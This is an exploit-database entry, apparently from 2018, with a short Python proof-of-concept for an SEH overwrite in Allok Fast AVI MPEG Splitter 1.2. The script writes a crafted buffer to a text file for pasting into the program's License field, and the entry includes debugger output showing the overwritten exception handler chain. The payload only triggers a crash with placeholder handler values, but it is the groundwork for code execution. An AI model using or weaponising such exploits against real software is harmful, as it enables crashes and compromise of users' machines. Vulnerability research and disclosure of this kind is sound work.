Allok Fast AVI MPEG Splitter 1.2 SEH Overwrite Exploit

2018-08-08
ID: 98811
CVE: None
Download vulnerable application: None
#!/usr/bin/env python
 # Exploit Title     : Allok Fast AVI MPEG Splitter 1.2 SEH Overwrite POC 
# Vulnerability Type: SEH Overwrite POC
# Discovery by      : Shubham Singh
# Known As          : Spirited Wolf [Twitter: @Pwsecspirit]
# Email             : [email protected]
# Youtube Channel   : www.youtube.com/c/Pentestingwithspirit 
# Discovey Date     : 01/08/2018
# Software Link     : http://www.alloksoft.com/fast_splitter.htm 
# Tested Version    : 1.2
# Tested on OS      : Windows XP Service Pack 3 x86
# Steps to Reproduce: 
# Run the python exploit.py , Open "exploit.txt" and copy content.
# Open Fast AVI MPEG Splitter , A registration prompt will appear.
# In the License field paste the content of "exploit.txt".
# Press "OK" and B00m Crashed.
#SEH chain of main thread, item 0
# Address=00129B78
# SE handler=43434343
#SEH chain of main thread, item 1
# Address=42424242
# SE handler=*** CORRUPT ENTRY ***
  buffer = "\x41" * 544
nseh = "\x42\x42\x42\x42"
seh= "\x43\x43\x43\x43"
 exploit = buffer + nseh + seh 
f = open ("exploit.txt", "w")
f.write(exploit)
f.close()
1-4-2 (www01)